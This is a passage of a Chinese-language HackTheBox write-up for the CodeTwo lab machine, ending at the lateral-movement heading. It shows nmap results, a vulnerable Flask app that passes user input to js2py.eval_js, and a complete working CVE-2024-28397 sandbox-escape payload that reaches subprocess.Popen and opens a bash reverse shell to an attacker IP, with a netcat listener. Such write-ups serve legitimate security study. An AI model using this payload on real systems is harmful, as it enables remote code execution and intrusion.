HackTheBox: CodeTwo 解析

靶机:CodeTwo
操作系统:Linux
难度:简单

摘要

CodeTwo 是一台简单难度的 Linux 靶机,展示了真实场景中的 Web 应用程序漏洞。攻击链包括利用 js2py 库中的 JavaScript 沙箱逃逸漏洞(CVE-2024-28397)获取初始访问权限,然后通过凭据复用实现横向移动,并利用 sudo 配置错误获取权限提升。

端口扫描

我们首先使用 nmap 进行全面扫描以识别开放的服务:

nmap -sV -sC 10.129.127.141

结果:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open  http    Gunicorn 20.0.4

扫描结果显示:

  • SSH(22端口):标准的 OpenSSH 服务(若能找到凭据,可能成为入口点)
  • HTTP(8000端口):Gunicorn Web 服务器(Python WSGI HTTP 服务)

初始访问

Web 应用枚举

访问 http://box-ip:8000,发现一个名为 “CodeTwo” 的 Web 应用,功能包括:

  • 用户注册与认证
  • 在线 JavaScript 代码编辑器
  • 代码片段管理功能

注册并登录账号后:

An image to describe post

该应用提供 JavaScript IDE,可供用户编写并执行代码:

An image to describe post

源码分析

应用提供一个 app.zip 文件下载,解压后可看到 Flask 应用的源代码。在 app.py 中发现关键内容:

from flask import Flask, render_template, request, redirect, url_for, session, jsonify
import js2py

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

发现的关键漏洞:

  1. js2py 沙箱逃逸(CVE-2024-28397):应用使用 js2py.eval_js() 执行用户提供的 JavaScript。虽然调用了 js2py.disable_pyimport(),但该库在 ≤ 0.74 版本(Python ≤ 3.11)中仍存在沙箱逃逸漏洞。
  2. 弱密码哈希:使用 MD5 存储密码(易被破解)
  3. 暴露的 Flask Secret Key:源码中硬编码了 Flask 的 secret key

利用 CVE-2024-28397

CVE-2024-28397 是 js2py 沙箱逃逸漏洞,可使攻击者突破 JavaScript 执行环境并执行 Python 代码。漏洞原因是 js2py 未能正确隔离 JavaScript 对象与 Python 对象模型。

利用流程:

  1. JavaScript 对象在 js2py 中保留了对 Python 内部结构的引用
  2. 通过 Object.getOwnPropertyNames 可访问 Python 的 __getattribute__
  3. 利用 __class__.__base__ 遍历 Python 类层次结构
  4. 找到 subprocess.Popen
  5. 使用 Popen 执行系统命令

漏洞利用 Payload:

// CVE-2024-28397 → js2py 沙箱逃逸 → Popen → 反弹 Shell
let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'";
let hacked, bymarve, n11;
let getattr, obj;

// 第一步:通过 JS 对象访问 Python 内部属性
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");

// 第二步:获取 Python 的基类对象
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;

// 第三步:递归查找 Python 类层级中的 subprocess.Popen
function findpopen(o) {
  let result;
  for (let i in o.__subclasses__()) {
    let item = o.__subclasses__()[i];
    if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
      return item;
    }
    if (item.__name__ != "type" && (result = findpopen(item))) {
      return result;
    }
  }
}

// 第四步:执行反弹 Shell 命令
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
"OK";

执行前先在本地设置监听:

nc -lvnp 4444

在 Web 应用代码编辑器中执行该 Payload:

An image to describe post

成功获得 app 用户的反弹 Shell:

An image to describe post

横向移动